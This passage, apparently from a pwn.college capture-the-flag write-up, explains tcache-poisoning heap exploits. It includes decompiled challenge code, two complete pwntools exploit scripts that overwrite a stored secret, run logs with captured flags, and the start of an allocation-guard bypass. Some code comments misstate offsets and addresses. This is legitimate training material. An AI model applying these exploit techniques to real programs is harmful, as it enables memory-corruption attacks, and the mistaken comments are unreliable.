┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
We then use scanf on the dangling pointer at index 0 (chunk A) to overwrite its next pointer with target_addr = secret_addr - 16. This address has no whitespace bytes, so scanf can write it in full:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: target_adr │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │ (B is now orphaned, A skips over it)
┆ tcache_entry B ┆ │
├──────────────────┤ │
│ next: NULL │ │
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ DATA SEGMENT (target_addr) ┆
├────────────────────────────────┤
│ [16 bytes before secret_addr] │
│ ...garbage... │
└────────────────────────────────┘
Now we call malloc twice. The first allocation returns chunk A (a real heap chunk), and the second returns target_addr, a pointer into the program's data segment 16 bytes before the secret:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 0 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: NULL ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆ (allocated as ptr[0])
├──────────────────┤
│ .............. │
├──────────────────┤
│ NULL │
└──────────────────┘
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ DATA SEGMENT (target_addr) ┆ (allocated as ptr[1])
├────────────────────────────────┤
│ [16 bytes before secret_addr] │
│ ...garbage... │
│ secret_addr >>> │ <-- secret lives here, 16 bytes in
└────────────────────────────────┘
We now have a writable pointer (ptr[1]) that starts 16 bytes before secret_addr. We call scanf on ptr[1] and send 16 bytes of padding followed by our chosen 16-byte secret value, which overwrites the original random secret with something we know:
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ DATA SEGMENT (target_addr) ┆
├────────────────────────────────┤
│ BBBBBBBBBBBBBBBB (16 padding) │ <-- bytes before secret_addr
├────────────────────────────────┤
│ AAAAAAAAAAAAAAAA (16 secret) │ <-- secret_addr, now overwritten
└────────────────────────────────┘
Finally, we call send_flag and submit our known value (AAAAAAAAAAAAAAAA). Since we wrote it ourselves, we know exactly what to send without ever needing to leak the original.
Exploit
from pwn import *
p = process("/challenge/seeking-spanless-secrets-easy")
# Setup our target and math
# Secret is at 0x42230a
# target_addr is 0x4222f0 (Aligned and no 0x0a whitespace)
secret_addr = 0x42230a
target_addr = secret_addr - 16
offset = secret_addr - target_addr # 26 bytes
new_secret = b"A" * 16
# Build payload
payload = b"B" * offset
payload += new_secret
print(f"[*] Targeting aligned address: {hex(target_addr)}")
# Allocate two chunks
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Free them to populate TCACHE
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison the 'next' pointer
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(target_addr))
print(p.recvuntil(b"quit): ").decode())
# Malloc twice to get the chunk at our target address
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Overwrite the secret area
# Junk padding + our controlled secret
p.sendline(b"scanf")
p.sendline(b"1")
p.sendline(payload)
print(p.recvuntil(b"quit): ").decode())
# Send the flag with our known secret
p.sendline(b"send_flag")
p.sendline(new_secret)
# Print final result
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-spanless-secrets-easy:/$ python ~/script.py
[+] Starting local process '/challenge/seeking-spanless-secrets-easy': pid 8821
[*] Targeting aligned address: 0x4222fa
###
### Welcome to /challenge/seeking-spanless-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x42230a.
This address intentionally uses `whitespace-armoring` (notice the 0x0a in the address).
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x15a6a2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x15a6a350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x15a6a350 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a350 | 0 | 0x91 (P) | (nil) | 0x15a6a010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x15a6a2c0 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a2c0 | 0 | 0x91 (P) | 0x15a6a350 | 0x15a6a010 |
| 0x15a6a350 | 0 | 0x91 (P) | (nil) | 0x15a6a010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x15a6a2c0 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a2c0 | 0 | 0x91 (P) | 0x4222fa | 0x15a6a000 |
| 0x4222fa | 0 | 0 (NONE) | (nil) | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[2] = malloc(128)
[*] allocations[2] = 0x15a6a2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x4222fa | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x4222fa | 0 | 0 (NONE) | (nil) | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[3] = malloc(128)
[*] allocations[3] = 0x4222fa
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%0s", allocations[3])
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{UXoETFJzikCNvh66nGl1nVtHrJT.0VN4MDL4ITM0EzW}
Seeking Spanless Secrets (Hard)
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_42580A[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_42580A, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
from pwn import *
p = process("/challenge/seeking-spanless-secrets-hard")
# Setup our target and math
# Secret is at 0x42580a
# target_addr is 0x4257fa (Aligned and no 0x0a whitespace)
secret_addr = 0x42580a
target_addr = secret_addr - 16
offset = secret_addr - target_addr # 26 bytes
new_secret = b"A" * 16
# Build payload
payload = b"B" * offset
payload += new_secret
print(f"[*] Targeting aligned address: {hex(target_addr)}")
# Allocate two chunks
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Free them to populate TCACHE
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison the 'next' pointer
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(target_addr))
print(p.recvuntil(b"quit): ").decode())
# Malloc twice to get the chunk at our target address
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Overwrite the secret area
# Junk padding + our controlled secret
p.sendline(b"scanf")
p.sendline(b"1")
p.sendline(payload)
print(p.recvuntil(b"quit): ").decode())
# Send the flag with our known secret
p.sendline(b"send_flag")
p.sendline(new_secret)
# Print final result
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-spanless-secrets-hard:/$ python ~/script.py
[+] Starting local process '/challenge/seeking-spanless-secrets-hard': pid 1368
[*] Targeting aligned address: 0x4257fa
###
### Welcome to /challenge/seeking-spanless-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{s3p743_G7uUAFBNkhZiOvvnjaAR.0lN4MDL4ITM0EzW}
Seeking Smuggled Secrets (Easy)
hacker@dynamic-allocator-misuse~seeking-smuggled-secrets-easy:/$ /challenge/seeking-smuggled-secrets-easy
###
### Welcome to /challenge/seeking-smuggled-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x429360.
If you attempt to malloc an address near where the secret is stored, it will be discarded.
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_429360[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_429360);
puts("If you attempt to malloc an address near where the secret is stored, it will be discarded.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035D4);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
if ( ptr[v7] >= (char *)&secret + 65536 )
{
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
else
{
puts("Invalid allocation detected: discarded!");
ptr[v7] = 0LL;
}
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 303u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 316u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 329u, "main");
if ( (unsigned int)malloc_usable_size(ptr[v10]) )
{
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035D4);
}
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
if ( !memcmp(choice, byte_429360, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
The goal is to leak the 16-byte secret stored at byte_429360 and pass it to send_flag. However, there is a check that we need to bypass.
# ---- snip ----
ptr[v7] = malloc(size);
if ( ptr[v7] >= (char *)&secret + 65536 )
{
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
else
{
puts("Invalid allocation detected: discarded!");
ptr[v7] = 0LL;
}
# ---- snip ----
If the returned pointer falls below secret_addr + 0x10000, the program nullifies ptr[idx], so we never get a direct handle to the secret. The straightforward approach of pointing an allocation at secret_addr and calling puts on it is closed off.
But this program checks the result of malloc after the fact. By then the TCACHE has already popped secret_addr and advanced its internal entries[idx] field.
A correct implementation would have validated before calling malloc:
# ---- snip ----
// CORRECT: check what TCACHE is about to return before popping it
tcache_entry *next = TCACHE->entries[tc_idx];
if ( next < (char *)&secret + 65536 )
{
puts("Invalid allocation detected: rejected!");
continue;
}
ptr[v7] = malloc(size);
# ---- snip ----
Leaking via stale TCACHE HEAD
Step 1: Allocate two chunks and free them
As long as we allocate on the real heap (far above the secret address), the guard check passes and we get our chunks normally.
free(1), free(0)